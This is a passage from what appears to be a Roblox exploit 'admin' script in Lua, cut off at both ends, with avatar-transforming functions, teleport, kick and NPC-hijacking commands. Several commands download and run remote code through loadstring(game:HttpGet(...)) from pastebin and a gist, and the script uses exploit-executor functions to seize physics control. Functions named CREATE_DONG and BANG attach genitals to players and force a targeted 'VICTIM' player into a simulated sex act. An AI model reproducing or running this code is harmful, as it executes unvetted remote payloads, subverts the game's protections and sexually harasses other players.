if v:IsA('Part') and v.Name == 'LA_INFECT' or v:IsA('Part') and v.Name == 'RA_INFECT' or v:IsA('Seat') and v.Name == 'FakeTorso' then
v:destroy()
elseif v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Hat') then
v:destroy()
elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.Transparency = 0
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
for i,v in pairs(MODEL.Torso:GetChildren()) do
if v:IsA('SpecialMesh') then
v:destroy()
end
end
if MODEL.Head:FindFirstChild('Mesh') then
MODEL.Head.Mesh:destroy()
end
if MODEL.Torso:FindFirstChild('Neck') then MODEL.Torso.Neck.C0 = CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(90), math.rad(180), 0) end
if MODEL.Torso:FindFirstChild('Left Shoulder') then MODEL.Torso['Left Shoulder'].C0 = CFrame.new(-1, 0.5, 0) * CFrame.Angles(0, math.rad(-90), 0) end
if MODEL.Torso:FindFirstChild('Right Shoulder') then MODEL.Torso['Right Shoulder'].C0 = CFrame.new(1, 0.5, 0) * CFrame.Angles(0, math.rad(90), 0) end
if MODEL.Torso:FindFirstChild('Left Hip') then MODEL.Torso['Left Hip'].C0 = CFrame.new(-1, -1, 0) * CFrame.Angles(0, math.rad(-90), 0) end
if MODEL.Torso:FindFirstChild('Right Hip') then MODEL.Torso['Right Hip'].C0 = CFrame.new(1, -1, 0) * CFrame.Angles(0, math.rad(90), 0) end
end
function UPDATE_MODEL(MODEL, USERNAME)
local AppModel = gPlayers:GetCharacterAppearanceAsync(gPlayers:GetUserIdFromNameAsync(USERNAME))
MODEL.Name = USERNAME
for i,v in pairs(AppModel:GetChildren()) do
if v:IsA('SpecialMesh') or v:IsA('BlockMesh') or v:IsA('CylinderMesh') then
v.Parent = MODEL.Head
elseif v:IsA('Decal') then
if MODEL.Head:FindFirstChild('face') then
MODEL.Head.face.Texture = v.Texture
else
local FACE = Instance.new('Decal', MODEL.Head)
FACE.Texture = v.Texture
end
elseif v:IsA('BodyColors') or v:IsA('CharacterMesh') or v:IsA('Shirt') or v:IsA('Pants') or v:IsA('ShirtGraphic') then
if MODEL:FindFirstChild('Body Colors') then
MODEL['Body Colors']:destroy()
end
v.Parent = MODEL
elseif v:IsA('Hat') then
v.Parent = MODEL
v.Handle.CFrame = MODEL.Head.CFrame * CFrame.new(0, MODEL.Head.Size.Y / 2, 0) * v.AttachmentPoint:inverse()
end
end
if not MODEL.Head:FindFirstChild('Mesh') then
local SM = Instance.new('SpecialMesh', MODEL.Head)
SM.MeshType = Enum.MeshType.Head
SM.Scale = Vector3.new(1.25, 1.25, 1.25)
end
end
function CREEPER(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Hat') then
v:destroy()
end
end
PLAYER.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.BrickColor = BrickColor.new('Bright green')
end
end
end
function SHREK(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Hat') or v:IsA('CharacterMesh') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
for i,v in pairs(PLAYER.Character.Head:GetChildren()) do
if v:IsA('Decal') or v:IsA('SpecialMesh') then
v:destroy()
end
end
if PLAYER.Character:FindFirstChild('Shirt Graphic') then
PLAYER.Character['Shirt Graphic'].Archivable = false
PLAYER.Character['Shirt Graphic'].Graphic = ''
end
local M = Instance.new('SpecialMesh', PLAYER.Character.Head)
local S = Instance.new('Shirt', PLAYER.Character)
local P = Instance.new('Pants', PLAYER.Character)
M.MeshType = 'FileMesh'
M.MeshId = 'http://www.roblox.com/asset/?id=19999257'
M.Offset = Vector3.new(-0.1, 0.1, 0)
M.TextureId = 'http://www.roblox.com/asset/?id=156397869'
S.ShirtTemplate = 'rbxassetid://133078194'
P.PantsTemplate = 'rbxassetid://133078204'
end
function DUCK(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'Torso' and v.Name ~= 'HumanoidRootPart' then
v.Transparency = 1
elseif v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Hat') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
local DUCK = Instance.new('SpecialMesh', PLAYER.Character.Torso)
DUCK.MeshType = 'FileMesh'
DUCK.MeshId = 'http://www.roblox.com/asset/?id=9419831'
DUCK.TextureId = 'http://www.roblox.com/asset/?id=9419827'
DUCK.Scale = Vector3.new(5, 5, 5)
if PLAYER.Character.Head:FindFirstChild('face') then
PLAYER.Character.Head.face.Transparency = 1
end
end
function DOG(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
PLAYER.Character.Torso.Transparency = 1
PLAYER.Character.Torso.Neck.C0 = CFrame.new(0, -0.5, -2) * CFrame.Angles(math.rad(90), math.rad(180), 0)
PLAYER.Character.Torso['Right Shoulder'].C0 = CFrame.new(0.5, -1.5, -1.5) * CFrame.Angles(0, math.rad(90), 0)
PLAYER.Character.Torso['Left Shoulder'].C0 = CFrame.new(-0.5, -1.5, -1.5) * CFrame.Angles(0, math.rad(-90), 0)
PLAYER.Character.Torso['Right Hip'].C0 = CFrame.new(1.5, -1, 1.5) * CFrame.Angles(0, math.rad(90), 0)
PLAYER.Character.Torso['Left Hip'].C0 = CFrame.new(-1.5, -1, 1.5) * CFrame.Angles(0, math.rad(-90), 0)
local FakeTorso = Instance.new('Seat', PLAYER.Character)
local BF = Instance.new('BodyForce', FakeTorso)
local W = Instance.new('Weld', PLAYER.Character.Torso)
FakeTorso.Name = 'FakeTorso'
FakeTorso.FormFactor = 'Symmetric'
FakeTorso.TopSurface = 0
FakeTorso.BottomSurface = 0
FakeTorso.Size = Vector3.new(3,1,4)
FakeTorso.BrickColor = BrickColor.new('Brown')
FakeTorso.CFrame = PLAYER.Character.Torso.CFrame
BF.Force = Vector3.new(0, FakeTorso:GetMass() * 196.25, 0)
W.Part0 = PLAYER.Character.Torso
W.Part1 = FakeTorso
W.C0 = CFrame.new(0, -0.5, 0)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.BrickColor = BrickColor.new('Brown')
end
end
end
function AYYLMAO(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Shirt') or v:IsA('Pants') or v:IsA('Hat') then
v:destroy()
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
elseif v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
v.BrickColor = BrickColor.new('Fossil')
end
end
game:GetObjects('rbxassetid://13837194')[1].Parent = PLAYER.Character
end
function DECALSPAM(INSTANCE, ID)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
spawn(function()
local FACES = {'Back', 'Bottom', 'Front', 'Left', 'Right', 'Top'}
local CURRENT_FACE = 1
for i = 1, 6 do
local DECAL = Instance.new('Decal', v)
DECAL.Name = 'decal_seth'
DECAL.Texture = 'rbxassetid://' .. ID - 1
DECAL.Face = FACES[CURRENT_FACE]
CURRENT_FACE = CURRENT_FACE + 1
end
end)
end
DECALSPAM(v, ID)
end
end
function UNDECALSPAM(INSTANCE)
for i,v in pairs(INSTANCE:GetChildren()) do
if v:IsA('BasePart') then
for a,b in pairs(v:GetChildren()) do
if b:IsA('Decal') and b.Name == 'decal_seth' then
b:destroy()
end
end
end
UNDECALSPAM(v)
end
end
function CREATE_DONG(PLAYER, DONG_COLOR)
if PLAYER.Character:FindFirstChild('DONG') then
PLAYER.Character.DONG:destroy()
end
local D = Instance.new('Model', PLAYER.Character)
D.Name = 'DONG'
local BG = Instance.new('BodyGyro', PLAYER.Character.Torso)
local MAIN = Instance.new('Part', PLAYER.Character['DONG'])
local M1 = Instance.new('CylinderMesh', MAIN)
local W1 = Instance.new('Weld', PLAYER.Character.Head)
local P1 = Instance.new('Part', PLAYER.Character['DONG'])
local M2 = Instance.new('SpecialMesh', P1)
local W2 = Instance.new('Weld', P1)
local B1 = Instance.new('Part', PLAYER.Character['DONG'])
local M3 = Instance.new('SpecialMesh', B1)
local W3 = Instance.new('Weld', B1)
local B2 = Instance.new('Part', PLAYER.Character['DONG'])
local M4 = Instance.new('SpecialMesh', B2)
local W4 = Instance.new('Weld', B2)
MAIN.TopSurface = 0 MAIN.BottomSurface = 0 MAIN.Name = 'Main' MAIN.formFactor = 3 MAIN.Size = Vector3.new(0.6, 2.5, 0.6) MAIN.BrickColor = BrickColor.new(DONG_COLOR) MAIN.Position = PLAYER.Character.Head.Position MAIN.CanCollide = false
W1.Part0 = MAIN W1.Part1 = PLAYER.Character.Head W1.C0 = CFrame.new(0, 0.25, 2.1) * CFrame.Angles(math.rad(45), 0, 0)
P1.Name = 'Mush' P1.BottomSurface = 0 P1.TopSurface = 0 P1.FormFactor = 3 P1.Size = Vector3.new(0.6, 0.6, 0.6) P1.CFrame = CFrame.new(MAIN.Position) P1.BrickColor = BrickColor.new('Pink') P1.CanCollide = false
M2.MeshType = 'Sphere'
W2.Part0 = MAIN W2.Part1 = P1 W2.C0 = CFrame.new(0, 1.3, 0)
B1.Name = 'Left Ball' B1.BottomSurface = 0 B1.TopSurface = 0 B1.CanCollide = false B1.formFactor = 3 B1.Size = Vector3.new(1, 1, 1) B1.CFrame = CFrame.new(PLAYER.Character['Left Leg'].Position) B1.BrickColor = BrickColor.new(DONG_COLOR)
M3.Parent = B1 M3.MeshType = 'Sphere'
W3.Part0 = PLAYER.Character['Left Leg'] W3.Part1 = B1 W3.C0 = CFrame.new(0, 0.5, -0.5)
B2.Name = 'Right Ball' B2.BottomSurface = 0 B2.CanCollide = false B2.TopSurface = 0 B2.formFactor = 3 B2.Size = Vector3.new(1, 1, 1) B2.CFrame = CFrame.new(PLAYER.Character['Right Leg'].Position) B2.BrickColor = BrickColor.new(DONG_COLOR)
M4.MeshType = 'Sphere'
W4.Part0 = PLAYER.Character['Right Leg'] W4.Part1 = B2 W4.C0 = CFrame.new(0, 0.5, -0.5)
end
function SCALE(C, S)
if tonumber(S) < 0.5 then S = 0.5 elseif tonumber(S) > 25 then S = 25 end
local HAT_CLONE = {}
for i,v in pairs(C:GetChildren()) do if v:IsA('Hat') then local HC = v:Clone() table.insert(HAT_CLONE, HC) v:destroy() end end
local HEAD = C.Head
local TORSO = C.Torso
local LA = C['Left Arm']
local RA = C['Right Arm']
local LL = C['Left Leg']
local RL = C['Right Leg']
local HRP = C.HumanoidRootPart
HEAD.FormFactor = 3 TORSO.FormFactor = 3 LA.FormFactor = 3 RA.FormFactor = 3 LL.FormFactor = 3 RL.FormFactor = 3 HRP.FormFactor = 3
HEAD.Size = Vector3.new(S * 2, S, S)
TORSO.Size = Vector3.new(S * 2, S * 2, S)
LA.Size = Vector3.new(S, S * 2, S)
RA.Size = Vector3.new(S, S * 2, S)
LL.Size = Vector3.new(S, S * 2, S)
RL.Size = Vector3.new(S, S * 2, S)
HRP.Size = Vector3.new(S * 2, S * 2, S)
local M1 = Instance.new('Motor6D', TORSO)
local M2 = Instance.new('Motor6D', TORSO)
local M3 = Instance.new('Motor6D', TORSO)
local M4 = Instance.new('Motor6D', TORSO)
local M5 = Instance.new('Motor6D', TORSO)
local M6 = Instance.new('Motor6D', HRP)
M1.Name = 'Neck' M1.Part0 = TORSO M1.Part1 = HEAD M1.C0 = CFrame.new(0, 1 * S, 0) * CFrame.Angles(-1.6, 0, 3.1) M1.C1 = CFrame.new(0, -0.5 * S, 0) * CFrame.Angles(-1.6, 0, 3.1)
M2.Name = 'Left Shoulder' M2.Part0 = TORSO M2.Part1 = LA M2.C0 = CFrame.new(-1 * S, 0.5 * S, 0) * CFrame.Angles(0, -1.6, 0) M2.C1 = CFrame.new(0.5 * S, 0.5 * S, 0) * CFrame.Angles(0, -1.6, 0)
M3.Name = 'Right Shoulder' M3.Part0 = TORSO M3.Part1 = RA M3.C0 = CFrame.new(1 * S, 0.5 * S, 0) * CFrame.Angles(0, 1.6, 0) M3.C1 = CFrame.new(-0.5 * S, 0.5 * S, 0) * CFrame.Angles(0, 1.6, 0)
M4.Name = 'Left Hip' M4.Part0 = TORSO M4.Part1 = LL M4.C0 = CFrame.new(-1 * S, -1 * S, 0) * CFrame.Angles(0, -1.6, 0) M4.C1 = CFrame.new(-0.5 * S, 1 * S, 0) * CFrame.Angles(0, -1.6, 0)
M5.Name = 'Right Hip' M5.Part0 = TORSO M5.Part1 = RL M5.C0 = CFrame.new(1 * S, -1 * S, 0) * CFrame.Angles(0, 1.6, 0) M5.C1 = CFrame.new(0.5 * S, 1 * S, 0) * CFrame.Angles(0, 1.6, 0)
M6.Name = 'RootJoint' M6.Part0 = HRP M6.Part1 = TORSO M6.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1) M6.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)
wait()
for i,v in pairs(HAT_CLONE) do v.Parent = C end
end
function CAPE(COLOR)
if LP.Character:FindFirstChild('Cape') then LP.Character.Cape:destroy() end
repeat wait() until LP and LP.Character and LP.Character:FindFirstChild('Torso')
local T = LP.Character.Torso
local C = Instance.new('Part', T.Parent)
C.Name = 'cape_seth'
C.Anchored = false
C.CanCollide = false
C.TopSurface = 0
C.BottomSurface = 0
C.BrickColor = BrickColor.new(COLOR)
C.Material = 'Neon'
C.FormFactor = 'Custom'
C.Size = Vector3.new(0.2, 0.2, 0.2)
local M = Instance.new('BlockMesh', C)
M.Scale = Vector3.new(9, 17.5, 0.5)
local M1 = Instance.new('Motor', C)
M1.Part0 = C
M1.Part1 = T
M1.MaxVelocity = 1
M1.C0 = CFrame.new(0, 1.75, 0) * CFrame.Angles(0, math.rad(90), 0)
M1.C1 = CFrame.new(0, 1, .45) * CFrame.Angles(0, math.rad(90), 0)
local WAVE = false
repeat wait(1 / 44)
local ANG = 0.2
local oldMag = T.Velocity.magnitude
local MV = 0.1
if WAVE then
ANG = ANG + ((T.Velocity.magnitude / 10) * 0.05) + 1
WAVE = false
else
WAVE = false
end
ANG = ANG + math.min(T.Velocity.magnitude / 30, 1)
M1.MaxVelocity = math.min((T.Velocity.magnitude / 10), 0.04) + MV
M1.DesiredAngle = -ANG
if M1.CurrentAngle < -0.05 and M1.DesiredAngle > -.05 then
M1.MaxVelocity = 0.04
end
repeat
wait()
until M1.CurrentAngle == M1.DesiredAngle or math.abs(T.Velocity.magnitude - oldMag) >= (T.Velocity.magnitude / 10) + 1
if T.Velocity.magnitude < 0.1 then
wait(0.1)
end
until not C or C.Parent ~= T.Parent
end
function INFECT(PLAYER)
for i,v in pairs(PLAYER.Character:GetChildren()) do
if v:IsA('Hat') or v:IsA('Part') and v.Name == 'LA_INFECT' or v:IsA('Part') and v.Name == 'RA_INFECT' or v:IsA('Shirt') or v:IsA('Pants') then
v:destroy()
elseif v:IsA('Part') and v.Name == 'Left Arm' or v:IsA('Part') and v.Name == 'Right Arm' then
v.Transparency = 1
elseif v:IsA('ShirtGraphic') then
v.Archivable = false
v.Graphic = ''
end
end
local LZOMBIE_ARM = Instance.new('Part', PLAYER.Character)
local LWELD = Instance.new('Weld', LZOMBIE_ARM)
local RZOMBIE_ARM = Instance.new('Part', PLAYER.Character)
local RWELD = Instance.new('Weld', RZOMBIE_ARM)
LZOMBIE_ARM.Name = 'LA_INFECT'
LZOMBIE_ARM.BrickColor = BrickColor.new('Medium green')
LZOMBIE_ARM.Size = Vector3.new(1, 1, 2)
LZOMBIE_ARM.TopSurface = 'Smooth'
LZOMBIE_ARM.BottomSurface = 'Smooth'
LWELD.Part0 = PLAYER.Character.Torso
LWELD.Part1 = LZOMBIE_ARM
LWELD.C0 = CFrame.new(-1.5, 0.5, -0.5)
RZOMBIE_ARM.Name = 'RA_INFECT'
RZOMBIE_ARM.BrickColor = BrickColor.new('Medium green')
RZOMBIE_ARM.Size = Vector3.new(1, 1, 2)
RZOMBIE_ARM.TopSurface = 'Smooth'
RZOMBIE_ARM.BottomSurface = 'Smooth'
RWELD.Part0 = PLAYER.Character.Torso
RWELD.Part1 = RZOMBIE_ARM
RWELD.C0 = CFrame.new(1.5, 0.5, -0.5)
if PLAYER.Character.Head:FindFirstChild('face') then
PLAYER.Character.Head.face.Texture = 'rbxassetid://7074882'
end
for i,v in pairs (PLAYER.Character:GetChildren()) do
if v:IsA('Part') and v.Name ~= 'HumanoidRootPart' then
if v.Name == 'Head' then
v.BrickColor = BrickColor.new('Medium green')
elseif v.Name == 'Torso' or v.Name == 'Left Leg' or v.Name == 'Right Leg' then
v.BrickColor = BrickColor.new('Brown')
end
end
end
end
function fWeld(zName, zParent, zPart0, zPart1, zCoco, A, B, C, D, E, F)
local funcw = Instance.new('Weld') funcw.Name = zName funcw.Parent = zParent funcw.Part0 = zPart0 funcw.Part1 = zPart1
if (zCoco) then
funcw.C0 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
else
funcw.C1 = CFrame.new(A, B, C) * CFrame.fromEulerAnglesXYZ(D, E, F)
end
return funcw
end
function BANG(VICTIM)
spawn(function()
local P1 = gPlayers.LocalPlayer.Character.Torso
local V1 = gPlayers[VICTIM].Character.Torso
V1.Parent.Humanoid.PlatformStand = true
P1['Left Shoulder']:destroy() local LA1 = Instance.new('Weld', P1) LA1.Part0 = P1 LA1.Part1 = P1.Parent['Left Arm'] LA1.C0 = CFrame.new(-1.5, 0, 0) LA1.Name = 'Left Shoulder'
P1['Right Shoulder']:destroy() local RS1 = Instance.new('Weld', P1) RS1.Part0 = P1 RS1.Part1 = P1.Parent['Right Arm'] RS1.C0 = CFrame.new(1.5, 0, 0) RS1.Name = 'Right Shoulder'
V1['Left Shoulder']:destroy() local LS2 = Instance.new('Weld', V1) LS2.Part0 = V1 LS2.Part1 = V1.Parent['Left Arm'] LS2.C0 = CFrame.new(-1.5, 0, 0) LS2.Name = 'Left Shoulder'
V1['Right Shoulder']:destroy() local RS2 = Instance.new('Weld', V1) RS2.Part0 = V1 RS2.Part1 = V1.Parent['Right Arm'] RS2.C0 = CFrame.new(1.5, 0, 0) RS2.Name = 'Right Shoulder'
V1['Left Hip']:destroy() local LH2 = Instance.new('Weld', V1) LH2.Part0 = V1 LH2.Part1 = V1.Parent['Left Leg'] LH2.C0 = CFrame.new(-0.5, -2, 0) LH2.Name = 'Left Hip'
V1['Right Hip']:destroy() local RH2 = Instance.new('Weld', V1) RH2.Part0 = V1 RH2.Part1 = V1.Parent['Right Leg'] RH2.C0 = CFrame.new(0.5, -2, 0) RH2.Name = 'Right Hip'
local D = Instance.new('Part', P1) D.TopSurface = 0 D.BottomSurface = 0 D.CanCollide = false D.BrickColor = BrickColor.new('Pastel brown') D.Shape = 'Ball' D.Size = Vector3.new(1, 1, 1)
local DM1 = Instance.new('SpecialMesh', D) DM1.MeshType = 'Sphere' DM1.Scale = Vector3.new(0.4, 0.4, 0.4)
fWeld('weld', P1, P1, D, true, -0.2, -1.3, -0.6, 0, 0, 0)
local D2 = D:Clone() D2.Parent = P1
fWeld('weld', P1, P1, D2, true, 0.2, -1.3, -0.6, 0, 0, 0)
local C = Instance.new('Part', P1) C.TopSurface = 0 C.BottomSurface = 0 C.CanCollide = false C.BrickColor = BrickColor.new('Pastel brown') C.formFactor = 'Custom' C.Size = Vector3.new(0.4, 1.3, 0.4)
fWeld('weld', P1, P1, C, true, 0, -1, -0.52 + (-C.Size.y / 2), math.rad(-80), 0, 0)
local C2 = D:Clone() C2.BrickColor = BrickColor.new('Pink') C2.Mesh.Scale = Vector3.new(0.4, 0.62, 0.4) C2.Parent = P1
fWeld('weld', C, C, C2, true, 0, 0 + (C.Size.y / 2), 0, math.rad(-10), 0, 0)
local CM = Instance.new('CylinderMesh', C)
local BL = Instance.new('Part', V1) BL.TopSurface = 0 BL.BottomSurface = 0 BL.CanCollide = false BL.BrickColor = BrickColor.new('Pastel brown') BL.Shape = 'Ball' BL.Size = Vector3.new(1, 1, 1)
local DM2 = Instance.new('SpecialMesh', BL) DM2.MeshType = 'Sphere' DM2.Scale = Vector3.new(1.2, 1.2, 1.2)
fWeld('weld', V1, V1, BL, true, -0.5, 0.5, -0.6, 0, 0, 0)
local BR = Instance.new('Part', V1) BR.TopSurface = 0 BR.BottomSurface = 0 BR.CanCollide = false BR.BrickColor = BrickColor.new('Pastel brown') BR.Shape = 'Ball' BR.Size = Vector3.new(1, 1, 1)
local DM3 = Instance.new('SpecialMesh', BR) DM3.MeshType = 'Sphere' DM3.Scale = Vector3.new(1.2, 1.2, 1.2)
fWeld('weld', V1, V1, BR, true, 0.5, 0.5, -0.6, 0, 0, 0)
local BLN = Instance.new('Part', V1) BLN.TopSurface = 0 BLN.BottomSurface = 0 BLN.CanCollide = false BLN.BrickColor = BrickColor.new('Pink') BLN.Shape = 'Ball' BLN.Size = Vector3.new(1, 1, 1)
local DM4 = Instance.new('SpecialMesh', BLN) DM4.MeshType = 'Sphere' DM4.Scale = Vector3.new(0.2, 0.2, 0.2)
fWeld('weld', V1, V1, BLN, true, -0.5, 0.5, -1.2, 0, 0, 0)
local BRN = Instance.new('Part', V1) BRN.TopSurface = 0 BRN.BottomSurface = 0 BRN.CanCollide = false BRN.BrickColor = BrickColor.new('Pink') BRN.Shape = 'Ball' BRN.Size = Vector3.new(1, 1, 1)
local DM5 = Instance.new('SpecialMesh', BRN) DM5.MeshType = 'Sphere' DM5.Scale = Vector3.new(0.2, 0.2, 0.2)
fWeld('weld', V1, V1, BRN, true, 0.5, 0.5, -1.2, 0, 0, 0)
LH2.C1 = CFrame.new(0.2, 1.6, 0.4) * CFrame.Angles(3.9, -0.4, 0) RH2.C1 = CFrame.new(-0.2, 1.6, 0.4) * CFrame.Angles(3.9, 0.4, 0)
LS2.C1 = CFrame.new(-0.2, 0.9, 0.6) * CFrame.Angles(3.9, -0.2, 0) RS2.C1 = CFrame.new(0.2, 0.9, 0.6) * CFrame.Angles(3.9, 0.2, 0)
LA1.C1 = CFrame.new(-0.5, 0.7, 0) * CFrame.Angles(-0.9, -0.4, 0) RS1.C1 = CFrame.new(0.5, 0.7, 0) * CFrame.Angles(-0.9, 0.4, 0)
if P1:FindFirstChild('weldx') then P1.weldx:destroy() end
WE = fWeld('weldx', P1, P1, V1, true, 0, -0.9, -1.3, math.rad(-90), 0, 0)
local N = V1.Neck N.C0 = CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(-210), math.rad(180), 0)
end)
spawn(function() while wait() do for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, -0.3, 0) wait() end for i = 1, 6 do WE.C1 = WE.C1 * CFrame.new(0, 0.3, 0) wait() end end end)
end
_G.CLICK_TP = true
local M_CTRL = false
MOUSE.KeyDown:connect(function(K) if K:byte() == 50 then M_CTRL = true end end)
MOUSE.KeyUp:connect(function(K) if K:byte() == 50 then M_CTRL = false end end)
gLighting.Outlines = false -- / outlines are gross
if FIND_IN_TABLE(BANS, LP.userId) then LP:Kick('You\'re on the ban list.') end
for i,v in pairs(gPlayers:GetPlayers()) do if FIND_IN_TABLE(BANS, v.userId) then table.insert(KICKS, v) else UPDATE_CHAT(v) end end
-- / commands
ADD_COMMAND('QuirkyCMD','QuirkyCMD',{},
function()
loadstring(game:HttpGet("https://gist.github.com/someunknowndude/38cecea5be9d75cb743eac8b1eaf6758/raw"))();
end)
ADD_COMMAND('table','table',{},
function()
loadstring(game:HttpGet(('https://pastebin.com/raw/UmdYd4bE'),true))()
local plr = game.Players.LocalPlayer
game:GetService("RunService").Stepped:Connect(function()
setsimulationradius(9e9,9e9)
plr.ReplicationFocus = workspace
settings().Physics.AllowSleep = false
end)
local runservice=game:service"RunService";
local player=game:service"Players"["LocalPlayer"];
local character=player["Character"];
character["Head"]:FindFirstChildOfClass"SpecialMesh":Destroy();
character["Humanoid"].HipHeight=-2;
character["Left Leg"]:BreakJoints();
character["Right Leg"]:BreakJoints();
character["Left Arm"]:BreakJoints();
character["Right Arm"]:BreakJoints();
while runservice["Heartbeat"]:Wait() do
character["Left Leg"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(-0.5,1.5,1.5) * CFrame.Angles(math.rad(90), 0, 0);
character["Right Leg"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(0.5,1.5,1.5) * CFrame.Angles(math.rad(90), 0, 0);
character["Left Arm"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(-0.5,0,2);
character["Right Arm"].CFrame=character["HumanoidRootPart"].CFrame*CFrame.new(0.5,0,2);
end
end)
ADD_COMMAND('controlnpcs','controlnpcs',{},
function()
--- made by joshclark756#7155
-- Variables
local mouse = game.Players.LocalPlayer:GetMouse()
local uis = game:GetService("UserInputService")
-- Connect
mouse.Button1Down:Connect(function()
-- Check for Target & Left Shift
if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
local npc = mouse.target.Parent
local npcRootPart = npc.HumanoidRootPart
local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
local PlayerRootPart = PlayerCharacter.HumanoidRootPart
local A0 = Instance.new("Attachment")
local AP = Instance.new("AlignPosition")
local AO = Instance.new("AlignOrientation")
local A1 = Instance.new("Attachment")
for _, v in pairs(npc:GetDescendants()) do
if v:IsA("BasePart") then
game:GetService("RunService").Stepped:Connect(function()
v.CanCollide = false
end)
end
end
PlayerRootPart:BreakJoints()
for _, v in pairs(PlayerCharacter:GetDescendants()) do
if v:IsA("BasePart") then
if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
else
v:Destroy()
end
end
end
PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(5, 0, 0)
PlayerCharacter.Head.Anchored = true
PlayerCharacter.UpperTorso.Anchored = true
A0.Parent = npcRootPart
AP.Parent = npcRootPart
AO.Parent = npcRootPart
AP.Responsiveness = 200
AP.MaxForce = math.huge
AO.MaxTorque = math.huge
AO.Responsiveness = 200
AP.Attachment0 = A0
AP.Attachment1 = A1
AO.Attachment1 = A1
AO.Attachment0 = A0
A1.Parent = PlayerRootPart
end
end)
end)
ADD_COMMAND('attachpart','attachpart',{},
function()
-- made by joshclark756#7155
-- Variables
local mouse = game.Players.LocalPlayer:GetMouse()
local uis = game:GetService("UserInputService")
-- Connect
mouse.Button1Down:Connect(function()
-- Check for Target & Left Shift
if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
local npc = mouse.target
local npcparts = mouse.target.Parent
local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
local PlayerRootPart = PlayerCharacter.HumanoidRootPart
local A0 = Instance.new("Attachment")
local AP = Instance.new("AlignPosition")
local AO = Instance.new("AlignOrientation")
local A1 = Instance.new("Attachment")
for _, v in pairs(npcparts:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("Part") and v.Name ~= "HumanoidRootPart" then
do
v.CanCollide = false
end
end
end
-- Variables
local mouse = game.Players.LocalPlayer:GetMouse()
local uis = game:GetService("UserInputService")
-- Connect
mouse.Button1Down:Connect(function()
if mouse.Target and uis:IsKeyDown(Enum.KeyCode.LeftControl) then
local npc = mouse.target
local npcparts = mouse.target.Parent
local PlayerCharacter = game:GetService("Players").LocalPlayer.Character
local PlayerRootPart = PlayerCharacter.HumanoidRootPart
local A0 = Instance.new("Attachment")
local AP = Instance.new("AlignPosition")
local AO = Instance.new("AlignOrientation")
local A1 = Instance.new("Attachment")
for _, v in pairs(npcparts:GetDescendants()) do
if v:IsA("BasePart") or v:IsA("Part") and v.Name ~= "HumanoidRootPart" then
do
v.CanCollide = false
wait(0)
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
bind = "e" -- has to be lowercase
mouse.KeyDown:connect(function(key)
if key == bind then do
v.CanCollide = true
end
end
end)
end
end
end
for _, v in pairs(PlayerCharacter:GetDescendants()) do
if v:IsA("BasePart") then
if v.Name == "HumanoidRootPart" or v.Name == "UpperTorso" or v.Name == "Head" then
end
end
end
PlayerRootPart.Position = PlayerRootPart.Position+Vector3.new(0, 0, 0)
PlayerCharacter.Head.Anchored = false
PlayerCharacter.Torso.Anchored = false
A0.Parent = npc
AP.Parent = npc
AO.Parent = npc
AP.Responsiveness = 200
AP.MaxForce = math.huge
AO.MaxTorque = math.huge
AO.Responsiveness = 200
AP.Attachment0 = A0
AP.Attachment1 = A1
AO.Attachment1 = A1
AO.Attachment0 = A0
A1.Parent = PlayerRootPart
end
end)
for _, v in pairs(PlayerCharacter:GetDescendants()) do
if v:IsA("BasePart") then
